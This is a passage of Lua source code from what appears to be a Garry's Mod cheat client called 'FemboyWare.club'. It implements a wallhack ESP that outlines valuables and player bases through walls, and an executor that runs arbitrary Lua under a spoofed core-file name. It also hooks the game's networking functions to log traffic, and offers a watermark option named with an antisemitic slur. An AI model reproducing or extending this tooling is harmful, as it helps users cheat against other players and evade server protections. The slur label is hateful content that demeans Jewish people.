surface.SetDrawColor(15, 12, 18, 240)
surface.DrawRect(boxX, boxY, boxW, boxH)
surface.SetDrawColor(168, 100, 220, 180)
surface.DrawOutlinedRect(boxX, boxY, boxW, boxH)
local headerH = 16
surface.SetDrawColor(22, 18, 26, 255)
surface.DrawRect(boxX, boxY, boxW, headerH)
surface.SetDrawColor(168, 100, 220, 180)
surface.DrawOutlinedRect(boxX, boxY, boxW, headerH)
draw.SimpleText(text1, "DermaDefault", boxX + 6, boxY + 2, Color(230, 126, 218, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
draw.SimpleText("| " .. t2, "DermaDefault", boxX + text1W + 16, boxY + 2, Color(220, 210, 230, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
draw.SimpleText("version: 1." .. text3, "DermaDefault", boxX + boxW - 6, boxY + 2, Color(140, 130, 150, 255), TEXT_ALIGN_RIGHT, TEXT_ALIGN_TOP)
local bottomY = boxY + headerH + 2
local bottomH = 16
surface.SetDrawColor(30, 25, 35, 255)
surface.DrawRect(boxX, bottomY, boxW, bottomH)
surface.SetDrawColor(168, 100, 220, 180)
surface.DrawOutlinedRect(boxX, bottomY, boxW, bottomH)
local serverIP = game.GetIPAddress() or "Unknown"
if string.len(serverIP) > 15 then serverIP = string.sub(serverIP, 1, 15) .. "..." end
local fps = math.ceil(1 / FrameTime())
draw.SimpleText("Server IP:", "DermaDefault", boxX + 8, bottomY + 2, Color(230, 126, 218, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
draw.SimpleText(serverIP, "DermaDefault", boxX + 70, bottomY + 2, Color(255, 255, 255, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
draw.SimpleText("FPS: " .. fps, "DermaDefault", boxX + boxW - 8, bottomY + 2, Color(255, 255, 255, 255), TEXT_ALIGN_RIGHT, TEXT_ALIGN_TOP)
end
elseif config.infoWatermark == "Cerberos" then
draw.SimpleTextOutlined(text1, "WatermarkTitle", 10, 37, Color(168, 100, 220, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, color_black)
draw.SimpleTextOutlined("Server: " .. GetHostName(), "WatermarkText", 10, 55, Color(230, 126, 218, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, color_black)
draw.SimpleTextOutlined("Tick: " .. math.Round(1 / engine.TickInterval()), "WatermarkText", 10, 70, Color(230, 126, 218, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, color_black)
draw.SimpleTextOutlined("Gamemode: " .. engine.ActiveGamemode(), "WatermarkText", 10, 85, Color(230, 126, 218, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, color_black)
draw.SimpleTextOutlined("Date&Time: " .. os.date("%X") .. " | " .. os.date("%A, %d, %B %Y"), "WatermarkText", 10, 100, Color(230, 126, 218, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, color_black)
draw.SimpleTextOutlined("FPS: " .. math.Round(1 / (FrameTime() or 0.016)), "WatermarkText", 10, 115, Color(230, 126, 218, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, color_black)
elseif config.infoWatermark == "Jew Cheat" then
local localPly = LocalPlayer()
if IsValid(localPly) then
local playerName = localPly:Name()
local scrW = ScrW()
local margin = 10
surface.SetFont("KirkTab")
local kirkW = surface.GetTextSize("femboyware")
local clubW = surface.GetTextSize(".club")
local sepW = surface.GetTextSize(" | ")
local nameW = surface.GetTextSize(playerName)
local padding = 12
local boxW = kirkW + clubW + sepW + nameW + (padding * 2)
local boxH = 24
local boxX = scrW - boxW - margin
local boxY = margin
draw.RoundedBox(6, boxX, boxY, boxW, boxH, COLORS.bg_main)
draw.RoundedBox(6, boxX + 1, boxY + 1, boxW - 2, boxH - 2, COLORS.bg_panel)
local textY = boxY + (boxH / 2)
local textX = boxX + padding
draw.SimpleText("Femboyware", "KirkTab", textX, textY, COLORS.text_normal, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
textX = textX + kirkW
draw.SimpleText(".club", "KirkTab", textX, textY, COLORS.accent, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
textX = textX + clubW
draw.SimpleText(" | ", "KirkTab", textX, textY, COLORS.text_dim, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
textX = textX + sepW
draw.SimpleText(playerName, "KirkTab", textX, textY, Color(230, 126, 218, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
end
end
end
end)
local KIRK_EntityCache = {
entities = {},
valuables = {},
bases = {},
baseGroups = {},
lastUpdate = 0
}
hook.Add("Think", "KIRK_EntityCache_Updater", function()
local now = CurTime()
if now - KIRK_EntityCache.lastUpdate > 0.5 then
KIRK_EntityCache.lastUpdate = now
KIRK_EntityCache.entities = {}
KIRK_EntityCache.valuables = {}
KIRK_EntityCache.bases = {}
KIRK_EntityCache.baseGroups = {}
if config.espEntity or config.espBaseESP then
for _, ent in ipairs(ents.GetAll()) do
if not IsValid(ent) then continue end
local class = string.lower(ent:GetClass())
if config.espEntity then
if config.espEntityClass[class] then
table.insert(KIRK_EntityCache.entities, ent)
end
if config.espValuablesMode and (string.find(class, "printer", 1, true) or string.find(class, "zbf", 1, true)) then
table.insert(KIRK_EntityCache.valuables, ent)
end
end
if config.espBaseESP and class == "pad_biometric" then
table.insert(KIRK_EntityCache.bases, ent)
end
end
if config.espBaseESP then
local processed = {}
for i, ent1 in ipairs(KIRK_EntityCache.bases) do
if not processed[i] then
local group = {ent1}
processed[i] = true
for j, ent2 in ipairs(KIRK_EntityCache.bases) do
if not processed[j] and ent1:GetPos():DistToSqr(ent2:GetPos()) <= 250000 then -- 500^2
table.insert(group, ent2)
processed[j] = true
end
end
table.insert(KIRK_EntityCache.baseGroups, group)
end
end
end
end
end
end)
hook.Add("PostDrawTranslucentRenderables", "kwtep", function()
if ss then return end
local plyPos = LocalPlayer():GetPos()
if config.espEntity then
local col = config.colors.espEntity or Color(255, 255, 255)
local entsToDraw = {}
if config.espEntityClass and not table.IsEmpty(config.espEntityClass) then table.Add(entsToDraw, KIRK_EntityCache.entities) end
if config.espValuablesMode then table.Add(entsToDraw, KIRK_EntityCache.valuables) end
for _, ent in ipairs(entsToDraw) do
if not IsValid(ent) then continue end
local pos = ent:GetPos()
local ang = ent:GetAngles()
local mins, maxs = ent:OBBMins(), ent:OBBMaxs()
cam.IgnoreZ(true)
render.SetColorMaterial()
render.DrawWireframeBox(pos, ang, mins, maxs, col, true)
cam.IgnoreZ(false)
local topPos = pos + Vector(0, 0, maxs.z)
local screenPos = topPos:ToScreen()
if screenPos.visible then
local name = string.gsub(ent:GetClass(), "_", " ")
cam.Start2D()
draw.SimpleTextOutlined(name, "KirkwareFont_Arial_Small", screenPos.x, screenPos.y - 5, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_BOTTOM, 1, Color(0, 0, 0))
cam.End2D()
end
end
end
if config.espBaseESP then
local boxCol = Color(100, 149, 237)
local textCol = Color(173, 216, 230)
for _, group in ipairs(KIRK_EntityCache.baseGroups) do
if #group == 0 then continue end
local closestEnt, closestDist = nil, math.huge
for _, ent in ipairs(group) do
if IsValid(ent) then
local dist = ent:GetPos():DistToSqr(plyPos)
if dist < closestDist then
closestDist = dist
closestEnt = ent
end
end
end
if not IsValid(closestEnt) then continue end
local pos, ang = closestEnt:GetPos(), closestEnt:GetAngles()
local mins, maxs = closestEnt:OBBMins(), closestEnt:OBBMaxs()
cam.IgnoreZ(true)
render.SetColorMaterial()
render.DrawWireframeBox(pos, ang, mins, maxs, boxCol, true)
local textPos = pos + Vector(0, 0, maxs.z + 5)
local screenPos = textPos:ToScreen()
if screenPos.visible then
cam.Start2D()
draw.SimpleTextOutlined("base", "KirkwareFont_Arial", screenPos.x, screenPos.y, textCol, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0, 200))
cam.End2D()
end
cam.IgnoreZ(false)
end
end
end)
hook.Add("kirkpaint", "loadingintro", function()
if not introState.active then return end
local now = CurTime()
local elapsed = now - introState.startTime
local totalDuration = introState.duration + introState.fadeTime
if elapsed >= totalDuration then
introState.active = false
hook.Remove("kirkpaint", "femboyware_LoadingIntro")
return
end
local alpha = 255
if elapsed > introState.duration then
local fadeElapsed = elapsed - introState.duration
alpha = math.max(0, 255 - (fadeElapsed / introState.fadeTime) * 255)
end
local scrW, scrH = ScrW(), ScrH()
surface.SetDrawColor(15, 12, 18, (alpha / 255) * 240)
surface.DrawRect(0, 0, scrW, scrH)
local titleText = "FemboyWare.club"
surface.SetFont("KirkwareIntroFont")
local tw, th = surface.GetTextSize(titleText)
local x, y = scrW / 2 - tw / 2, scrH / 2 - th / 2
local scrollTime = RealTime() * 250
local currentX = x
for i = 1, #titleText do
local char = string.sub(titleText, i, i)
local charW = surface.GetTextSize(char)
local scrollPos = (scrollTime % tw)
local charRelX = currentX - x
local distFromScroll = math.abs(charRelX - scrollPos)
local closestDist = math.min(distFromScroll, tw - distFromScroll)
local brightness = math.max(0, 1 - (closestDist * 0.015))
local r = math.floor(168 + (255 - 168) * brightness)
local g = math.floor(100 + (255 - 100) * brightness)
local b = math.floor(220 + (255 - 220) * brightness)
draw.SimpleText(char, "KirkwareIntroFont", currentX, y, Color(r, g, b, alpha))
currentX = currentX + charW
end
draw.SimpleTextOutlined(introState.quote, "KirkTab", scrW / 2, y + th + 10, Color(220, 210, 230, alpha), TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP, 1, Color(0, 0, 0, alpha))
end)
local DrawTaskbar
hook.Add("kirkpaint", "DeramaGUIRender", function()
if ss then return end
-- New UI Drawing
if GUI.visible then
DrawBorderBox(
GUI.x, GUI.y, GUI.w, GUI.h, 2,
COLORS.bg_main, COLORS.border, 8
)
-- content box
draw.RoundedBox(8,
GUI.x + PADDING + BORDER,
GUI.y + PADDING + BORDER + TABHEIGHT,
GUI.w - PADDING * 2,
GUI.h - TABHEIGHT - PADDING*2,
COLORS.bg_panel
)
local offX = GUI.x + PADDING
local offY = GUI.y + TABHEIGHT/2
DrawText("femboyware", "KirkTab", offX, offY, COLORS.text_normal)
offX = offX + TextSize("femboyware", "KirkTab")
DrawText(".club", "KirkTab", offX, offY, COLORS.accent)
offX = offX + TextSize(".club ", "KirkTab")
DrawLine(offX, offY, offX, offY + LINEHEIGHT, COLORS.text_dim)
offX = offX + 2 + TextSize(" ", "KirkTab")
for i = 1, #GUI.tabs do
local name = GUI.tabs[i].name
if i == GUI.activeTab then
DrawText(name, "KirkTab", offX, offY, COLORS.text_bright)
else
DrawText(name, "KirkTab", offX, offY, COLORS.text_dim)
end
offX = offX + TextSize(name .. " ", "KirkTab")
end
offX = GUI.x + PADDING + INNERPADDING
local leftY = GUI.y + PADDING + TABHEIGHT + INNERPADDING
local rightY = GUI.y + PADDING + TABHEIGHT + INNERPADDING
local groupWidth = (GUI.w - PADDING)/2 - INNERPADDING*2
local tab = GUI.tabs[GUI.activeTab]
if tab then
for i, group in ipairs(tab.groups) do
if group.pos == "left" then
local h = DrawGroup(group, offX, leftY, groupWidth)
leftY = leftY + h + INNERPADDING
else
local h = DrawGroup(group, offX + groupWidth + INNERPADDING, rightY, groupWidth)
rightY = rightY + h + INNERPADDING
end
end
end
DrawColorPicker()
end
sNotify:Draw()
DrawTaskbar()
end)
local Taskbar = {
open = false,
buttons = {
{ label = "Menu", active = true },
{ label = "Executor", active = false },
{ label = "Nets", active = false },
{ label = "Entities", active = false },
{ label = "Censor Box", active = false },
},
lastClick = 0,
}
local COL_KIRK_BLUE = Color(168, 100, 220)
local COL_TAB_OFF = Color(220, 210, 230)
local COL_TAB_BG = Color(15, 12, 18, 230)
local COL_TAB_BORDER = Color(55, 40, 65, 200)
local COL_TAB_HOVER = Color(45, 35, 55, 220)
--------------------------------------------------------------------------------
-- VSGL EXECUTOR
--------------------------------------------------------------------------------
local VSGL_FRAME = nil
local VSGL_pendingOpen = false
local function VSGL_GetBtn()
for _, b in ipairs(Taskbar.buttons) do
if b.label == "Executor" then return b end
end
end
local function VSGL_SetVisible(show)
local btn = VSGL_GetBtn()
if btn then btn.active = show end
if IsValid(VSGL_FRAME) then
VSGL_FRAME:SetVisible(show)
if show then VSGL_FRAME:MakePopup() end
end
end
local function VSGL_Build()
if IsValid(VSGL_FRAME) then
VSGL_SetVisible(true)
return
end
local fw = math.min(ScrW() * 0.74, 980)
local fh = math.min(ScrH() * 0.74, 680)
local titleH = 32
local barH = 42
local frame = vgui.Create("DFrame")
frame:SetSize(fw, fh)
frame:Center()
frame:SetTitle("")
frame:SetDraggable(true)
frame:SetDeleteOnClose(false)
frame:ShowCloseButton(false)
frame:MakePopup()
frame.Paint = function(s, w, h)
draw.RoundedBox(8, 0, 0, w, h, Color(55, 40, 65, 220))
draw.RoundedBox(7, 1, 1, w - 2, h - 2, Color(15, 12, 18, 252))
draw.RoundedBoxEx(8, 1, 1, w - 2, titleH - 1, Color(22, 18, 26, 255), true, true, false, false)
surface.SetDrawColor(168, 100, 220, 140)
surface.DrawRect(1, titleH, w - 2, 1)
end
local lbl = vgui.Create("DPanel", frame)
lbl:SetPos(10, 0)
lbl:SetSize(fw - 40, titleH)
lbl:SetMouseInputEnabled(false)
lbl.Paint = function(s, w, h)
surface.SetFont("KirkTab")
surface.SetTextColor(168, 100, 220, 255)
surface.SetTextPos(0, 7)
surface.DrawText("VSGL")
local vw = surface.GetTextSize("VSGL")
surface.SetTextColor(220, 210, 230, 200)
surface.SetTextPos(vw + 7, 7)
surface.DrawText("Executor")
end
local closeBtn = vgui.Create("DButton", frame)
closeBtn:SetPos(fw - 28, 5)
closeBtn:SetSize(22, 22)
closeBtn:SetText("x")
closeBtn:SetFont("KirkElement")
closeBtn:SetTextColor(Color(220, 210, 230))
closeBtn.Paint = function(s, w, h)
if s:IsHovered() then draw.RoundedBox(4, 0, 0, w, h, Color(180, 45, 90, 200)) end
end
closeBtn.DoClick = function()
VSGL_SetVisible(false)
end
-- Bottom bar
local bar = vgui.Create("DPanel", frame)
bar:SetPos(0, fh - barH)
bar:SetSize(fw, barH)
bar.Paint = function(s, w, h)
draw.RoundedBoxEx(8, 0, 0, w, h, Color(22, 18, 26, 255), false, false, true, true)
surface.SetDrawColor(168, 100, 220, 90)
surface.DrawRect(0, 0, w, 1)
end
local runBtn = vgui.Create("DButton", bar)
runBtn:SetPos(8, 7)
runBtn:SetSize(110, 28)
runBtn:SetText("Run")
runBtn:SetFont("KirkTab")
runBtn:SetTextColor(Color(255, 255, 255))
runBtn.Paint = function(s, w, h)
draw.RoundedBox(5, 0, 0, w, h, s:IsHovered() and Color(190, 120, 255) or Color(168, 100, 220))
end
local clearBtn = vgui.Create("DButton", bar)
clearBtn:SetPos(126, 7)
clearBtn:SetSize(80, 28)
clearBtn:SetText("Clear")
clearBtn:SetFont("KirkElement")
clearBtn:SetTextColor(Color(220, 210, 230))
clearBtn.Paint = function(s, w, h)
draw.RoundedBox(5, 0, 0, w, h, s:IsHovered() and Color(45, 35, 55) or Color(30, 25, 35))
surface.SetDrawColor(55, 40, 65, 180)
surface.DrawOutlinedRect(0, 0, w, h)
end
-- DHTML Monaco editor
local html = vgui.Create("DHTML", frame)
html:SetPos(0, titleH)
html:SetSize(fw, fh - titleH - barH)
html:SetHTML([[
]])
html:AddFunction("vsgl", "sendCode", function(code)
local trimmed = string.Trim(code or "")
local fn = CompileString(trimmed, "lua/includes/init.lua", true)
if not isfunction(fn) then
MsgC(Color(230, 45, 90), "[VSGL Compile] ", Color(220, 210, 230), "Check console for syntax error.\n")
return
end
MsgC(Color(168, 100, 220), "[VSGL] ", Color(220, 210, 230), "Executing...\n")
local ok, rErr = pcall(fn)
if not ok then
MsgC(Color(230, 45, 90), "[VSGL Runtime] ", Color(220, 210, 230), tostring(rErr) .. "\n")
end
end)
runBtn.DoClick = function()
html:RunJavascript([[if (window.getCode) { vsgl.sendCode(window.getCode()); }]])
end
clearBtn.DoClick = function()
html:RunJavascript([[if (window.clearCode) { window.clearCode(); }]])
end
VSGL_FRAME = frame
end
--------------------------------------------------------------------------------
-- NET MONITOR
--------------------------------------------------------------------------------
local NETS_FRAME = nil
local NETS_pendingOpen = false
local NET_MAX_LOGS = 200
local NetLogs = { IN = {}, OUT = {} }
local function NetAddLog(dir, name)
local t = NetLogs[dir]
table.insert(t, 1, { time = os.date("%H:%M:%S"), name = tostring(name) })
if #t > NET_MAX_LOGS then table.remove(t) end
end
do
local _NetStart = net.Start
net.Start = function(name, unreliable)
NetAddLog("OUT", name)
return _NetStart(name, unreliable)
end
local function WrapRecv(name, fn)
return function(len, ply)
NetAddLog("IN", name)
return fn(len, ply)
end
end
for name, fn in pairs(net.Receivers) do
net.Receivers[name] = WrapRecv(name, fn)
end
local _NetReceive = net.Receive
net.Receive = function(name, fn)
_NetReceive(name, WrapRecv(name, fn))
end
end
local function NETS_GetBtn()
for _, b in ipairs(Taskbar.buttons) do
if b.label == "Nets" then return b end
end
end
local function NETS_SetVisible(show)
local btn = NETS_GetBtn()
if btn then btn.active = show end
if IsValid(NETS_FRAME) then
NETS_FRAME:SetVisible(show)
if show then NETS_FRAME:MakePopup() end
end
end
local function NETS_Build()
if IsValid(NETS_FRAME) then
NETS_SetVisible(true)
return
end
local fw = math.min(ScrW() * 0.55, 780)
local fh = math.min(ScrH() * 0.70, 620)
local titleH = 32
local tabH = 28
local searchH= 28
local frame = vgui.Create("DFrame")
frame:SetSize(fw, fh)
frame:Center()
frame:SetTitle("")
frame:SetDraggable(true)
frame:SetDeleteOnClose(false)
frame:ShowCloseButton(false)
frame:MakePopup()
frame.Paint = function(s, w, h)
draw.RoundedBox(8, 0, 0, w, h, Color(55, 40, 65, 220))
draw.RoundedBox(7, 1, 1, w - 2, h - 2, COLORS.bg_main)
draw.RoundedBoxEx(8, 1, 1, w - 2, titleH - 1, COLORS.bg_panel, true, true, false, false)
surface.SetDrawColor(168, 100, 220, 140)
surface.DrawRect(1, titleH, w - 2, 1)
end
local titleLbl = vgui.Create("DPanel", frame)
titleLbl:SetPos(10, 0)
titleLbl:SetSize(fw - 40, titleH)
titleLbl:SetMouseInputEnabled(false)
titleLbl.Paint = function(s, w, h)
surface.SetFont("KirkTab")
surface.SetTextColor(168, 100, 220, 255)
surface.SetTextPos(0, 7)
surface.DrawText("Net")
local vw = surface.GetTextSize("Net")
surface.SetTextColor(220, 210, 230, 200)
surface.SetTextPos(vw + 7, 7)
surface.DrawText("Monitor")
end
local closeBtn = vgui.Create("DButton", frame)
closeBtn:SetPos(fw - 28, 5)
closeBtn:SetSize(22, 22)
closeBtn:SetText("x")
closeBtn:SetFont("KirkElement")
closeBtn:SetTextColor(Color(220, 210, 230))
closeBtn.Paint = function(s, w, h)
if s:IsHovered() then draw.RoundedBox(4, 0, 0, w, h, Color(180, 45, 90, 200)) end
end
closeBtn.DoClick = function() NETS_SetVisible(false) end
local activeTab = "IN"
local tabBar = vgui.Create("DPanel", frame)
tabBar:SetPos(0, titleH)
tabBar:SetSize(fw, tabH)
tabBar.Paint = function(s, w, h)
draw.RoundedBox(0, 0, 0, w, h, COLORS.bg_panel)
surface.SetDrawColor(55, 40, 65, 120)
surface.DrawRect(0, h - 1, w, 1)
end
local inBtn = vgui.Create("DButton", tabBar)
local outBtn = vgui.Create("DButton", tabBar)
local function StyleTab(btn, dir)
btn:SetSize(80, tabH)
btn:SetText(dir == "IN" and "Incoming" or "Outgoing")
btn:SetFont("KirkElement")
btn.Paint = function(s, w, h)
if activeTab == dir then
draw.RoundedBox(0, 0, 0, w, h, COLORS.bg_main)
surface.SetDrawColor(168, 100, 220, 255)
surface.DrawRect(0, h - 2, w, 2)
s:SetTextColor(COLORS.text_bright)
else
s:SetTextColor(COLORS.text_dim)
end
end
btn.DoClick = function()
activeTab = dir
end
end
inBtn:SetPos(4, 0)
outBtn:SetPos(90, 0)
StyleTab(inBtn, "IN")
StyleTab(outBtn, "OUT")
local contentY = titleH + tabH
local contentH = fh - contentY
local searchBox = vgui.Create("DTextEntry", frame)
searchBox:SetPos(8, contentY + 4)
searchBox:SetSize(fw - 16, searchH)
searchBox:SetFont("KirkElement")
searchBox:SetPlaceholderText("Search nets...")
searchBox:SetTextColor(COLORS.text_normal)
searchBox:SetDrawBackground(false)
searchBox.Paint = function(s, w, h)
draw.RoundedBox(5, 0, 0, w, h, COLORS.bg_element)
surface.SetDrawColor(55, 40, 65, 180)
surface.DrawOutlinedRect(0, 0, w, h)
s:DrawTextEntryText(COLORS.text_normal, Color(168, 100, 220, 120), COLORS.text_bright)
if s:GetValue() == "" then
surface.SetFont("KirkElement")
surface.SetTextColor(140, 130, 150, 150)
surface.SetTextPos(6, (h - select(2, surface.GetTextSize("X"))) / 2)
surface.DrawText("Search nets...")
end
end
local listPanel = vgui.Create("DScrollPanel", frame)
listPanel:SetPos(0, contentY + searchH + 8)
listPanel:SetSize(fw, contentH - searchH - 10)
local sbar = listPanel:GetVBar()
sbar:SetWide(6)
sbar.Paint = function(s, w, h)
draw.RoundedBox(3, 0, 0, w, h, COLORS.bg_panel)
end
sbar.btnUp.Paint = function() end
sbar.btnDown.Paint = function() end
sbar.btnGrip.Paint = function(s, w, h)
draw.RoundedBox(3, 0, 0, w, h, Color(168, 100, 220, 180))
end
local logContainer = vgui.Create("DPanel", listPanel)
logContainer:Dock(FILL)
logContainer.Paint = function() end
local lastBuild = { tab = "", filter = "", count = -1, time = 0 }
logContainer.Think = function(s)
local now = RealTime()
if now - lastBuild.time < 0.1 then return end
local filter = string.lower(searchBox:GetValue() or "")
local count = #NetLogs[activeTab]
if lastBuild.tab == activeTab and lastBuild.filter == filter and lastBuild.count == count then return end
lastBuild = { tab = activeTab, filter = filter, count = count, time = now }
s:Clear()
local rowH = 20
local totalH = 0
for i, log in ipairs(NetLogs[activeTab]) do
if filter == "" or string.find(string.lower(log.name), filter, 1, true) then
local row = vgui.Create("DPanel", s)
row:SetPos(0, totalH)
row:SetSize(fw, rowH)
local isOut = (activeTab == "OUT")
local even = (math.floor(totalH / rowH) % 2 == 0)
local t, n = log.time, log.name
row.Paint = function(_, w, h)
local bg = even and (COLORS.bg_element or Color(28, 30, 38)) or (COLORS.bg_panel or Color(22, 24, 32))
draw.RoundedBox(0, 0, 0, w, h, bg)
local textY = (h - select(2, surface.GetTextSize("X"))) / 2
surface.SetFont("KirkElement")
surface.SetTextColor(COLORS.text_dim.r, COLORS.text_dim.g, COLORS.text_dim.b, 200)
surface.SetTextPos(6, textY)
surface.DrawText("[" .. t .. "]")
local tw = surface.GetTextSize("[" .. t .. "] ")
surface.SetTextColor(COLORS.text_normal.r, COLORS.text_normal.g, COLORS.text_normal.b, 240)
surface.SetTextPos(tw + 10, textY)
surface.DrawText(n)
end
totalH = totalH + rowH
end
end
s:SetSize(fw, math.max(totalH, 1))
end
NETS_FRAME = frame
end
--------------------------------------------------------------------------------
-- ENTITY VIEWER
--------------------------------------------------------------------------------
local ENT_FRAME = nil
local ENT_pendingOpen = false
local function ENT_GetBtn()
for _, b in ipairs(Taskbar.buttons) do
if b.label == "Entities" then return b end
end
end
local function ENT_SetVisible(show)
local btn = ENT_GetBtn()
if btn then btn.active = show end
if IsValid(ENT_FRAME) then
if not show then
local x, y = ENT_FRAME:GetPos()
ENT_LastPos = {x = x, y = y}
end
ENT_FRAME:SetVisible(show)
if show then ENT_FRAME:MakePopup() end
end
end
local function IsValidViewerEntity(ent)
if not IsValid(ent) then return false end
if ent:IsPlayer() then return false end
if ent:IsWeapon() then return false end
if IsValid(ent:GetOwner()) then return false end
local class = ent:GetClass()
if string.StartsWith(class, "prop_") then return false end
if string.StartsWith(class, "gmod_") then return false end
if string.StartsWith(class, "class ") then return false end
if string.StartsWith(class, "env_") then return false end
if string.StartsWith(class, "func_") then return false end
if string.StartsWith(class, "point_") then return false end
if string.StartsWith(class, "manipulate_") then return false end
if string.find(class, "viewmodel") then return false end
if string.find(class, "beam") then return false end
return true
end
local ENT_LastPos = nil
local function ENT_Build()
if IsValid(ENT_FRAME) then
ENT_SetVisible(true)
return
end
local fw = math.min(ScrW() * 0.55, 780)
local fh = math.min(ScrH() * 0.70, 620)
local titleH = 32
local tabH = 28
local searchH= 28
local frame = vgui.Create("DFrame")
frame:SetSize(fw, fh)
if ENT_LastPos then
frame:SetPos(ENT_LastPos.x, ENT_LastPos.y)
else
frame:Center()
end
frame:SetTitle("")
frame:SetDraggable(true)
frame:SetDeleteOnClose(false)
frame:ShowCloseButton(false)
frame:MakePopup()
frame.Paint = function(s, w, h)
draw.RoundedBox(8, 0, 0, w, h, Color(50, 70, 110, 220))
draw.RoundedBox(7, 1, 1, w - 2, h - 2, COLORS.bg_main)
draw.RoundedBoxEx(8, 1, 1, w - 2, titleH - 1, COLORS.bg_panel, true, true, false, false)
surface.SetDrawColor(100, 150, 220, 140)
surface.DrawRect(1, titleH, w - 2, 1)
end
local titleLbl = vgui.Create("DPanel", frame)
titleLbl:SetPos(10, 0)
titleLbl:SetSize(fw - 40, titleH)
titleLbl:SetMouseInputEnabled(false)
titleLbl.Paint = function(s, w, h)
surface.SetFont("KirkTab")
surface.SetTextColor(100, 150, 220, 255)
surface.SetTextPos(0, 7)
surface.DrawText("Entity")
local vw = surface.GetTextSize("Entity")
surface.SetTextColor(180, 190, 210, 200)
surface.SetTextPos(vw + 7, 7)
surface.DrawText("List")
end
local closeBtn = vgui.Create("DButton", frame)
closeBtn:SetSize(20, 20)
closeBtn:SetPos(fw - 26, 6)
closeBtn:SetText("")
closeBtn.Paint = function(s, w, h)
surface.SetTextColor(s:IsHovered() and Color(255, 100, 100) or Color(150, 150, 150))
surface.SetFont("Marlett")
surface.SetTextPos(4, 3)
surface.DrawText("r")
end
closeBtn.DoClick = function()
ENT_SetVisible(false)
end
local contentArea = vgui.Create("DPanel", frame)
contentArea:SetPos(10, titleH + 10)
contentArea:SetSize(fw - 20, fh - titleH - 20)
contentArea.Paint = function() end
local searchBox = vgui.Create("DTextEntry", contentArea)
searchBox:Dock(TOP)
searchBox:SetTall(searchH)
searchBox:SetFont("KirkElement")
searchBox:SetTextColor(COLORS.text_normal)
searchBox:SetCursorColor(COLORS.text_normal)
searchBox:SetPlaceholderText("Search entity class...")
searchBox.Paint = function(s, w, h)
draw.RoundedBox(4, 0, 0, w, h, COLORS.bg_element or Color(28, 30, 38))
s:DrawTextEntryText(s:GetTextColor(), s:GetHighlightColor(), s:GetCursorColor())
end
local modeContainer = vgui.Create("DPanel", contentArea)
modeContainer:Dock(TOP)
modeContainer:DockMargin(0, 8, 0, 8)
modeContainer:SetTall(searchH)
modeContainer.Paint = function() end
local valBtn = vgui.Create("DButton", modeContainer)
valBtn:Dock(LEFT)
valBtn:SetWide(150)
valBtn:SetText("")
valBtn.Paint = function(s, w, h)
local bg = config.espValuablesMode and COL_KIRK_BLUE or (s:IsHovered() and COLORS.bg_element_hover or COLORS.bg_element)
draw.RoundedBox(4, 0, 0, w, h, bg)
draw.SimpleText("Valuable Entities ESP", "KirkElement", w / 2, h / 2, Color(255,255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
valBtn.DoClick = function()
config.espValuablesMode = not config.espValuablesMode
end
local refreshBtn = vgui.Create("DButton", modeContainer)
refreshBtn:Dock(RIGHT)
refreshBtn:SetWide(100)
refreshBtn:SetText("")
refreshBtn.Paint = function(s, w, h)
local bg = s:IsHovered() and COLORS.bg_element_hover or COLORS.bg_element
draw.RoundedBox(4, 0, 0, w, h, bg)
draw.SimpleText("Refresh Cache", "KirkElement", w / 2, h / 2, Color(255,255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
local listPanel = vgui.Create("DScrollPanel", contentArea)
listPanel:Dock(FILL)
local sbar = listPanel:GetVBar()
sbar:SetWide(6)
sbar.Paint = function(s, w, h)
draw.RoundedBox(3, 0, 0, w, h, COLORS.bg_panel or Color(18, 22, 35))
end
sbar.btnUp.Paint = function() end
sbar.btnDown.Paint = function() end
sbar.btnGrip.Paint = function(s, w, h)
draw.RoundedBox(3, 0, 0, w, h, Color(70, 100, 160, 200))
end
local logContainer = vgui.Create("DPanel", listPanel)
logContainer:Dock(FILL)
logContainer.Paint = function() end
local function BuildList()
logContainer:Clear()
local rowH = 20
local totalH = 0
local classCache = {}
for _, ent in ipairs(ents.GetAll()) do
if IsValidViewerEntity(ent) then
classCache[string.lower(ent:GetClass())] = true
end
end
local filter = string.lower(searchBox:GetValue() or "")
local classList = {}
for class, _ in pairs(classCache) do
table.insert(classList, class)
end
table.sort(classList)
for i, class in ipairs(classList) do
if filter == "" or string.find(class, filter, 1, true) then
local row = vgui.Create("DButton", logContainer)
row:SetPos(0, totalH)
row:SetSize(fw, rowH)
row:SetText("")
local even = (math.floor(totalH / rowH) % 2 == 0)
row.Paint = function(s, w, h)
local bg = even and (COLORS.bg_element or Color(28, 30, 38)) or (COLORS.bg_panel or Color(22, 24, 32))
if s:IsHovered() then bg = COLORS.bg_element_hover or Color(40, 45, 55) end
if config.espEntityClass[class] then bg = Color(70, 100, 160, 200) end
draw.RoundedBox(0, 0, 0, w, h, bg)
surface.SetFont("KirkElement")
surface.SetTextColor(COLORS.text_normal.r, COLORS.text_normal.g, COLORS.text_normal.b, 240)
surface.SetTextPos(10, (h - select(2, surface.GetTextSize("X"))) / 2)
surface.DrawText(class)
end
row.DoClick = function()
if config.espEntityClass[class] then
config.espEntityClass[class] = nil
else
config.espEntityClass[class] = true
end
end
totalH = totalH + rowH
end
end
logContainer:SetSize(fw, math.max(totalH, 1))
end
searchBox.OnChange = BuildList
refreshBtn.DoClick = BuildList
BuildList()
ENT_FRAME = frame
end
local function InitCensorBox()
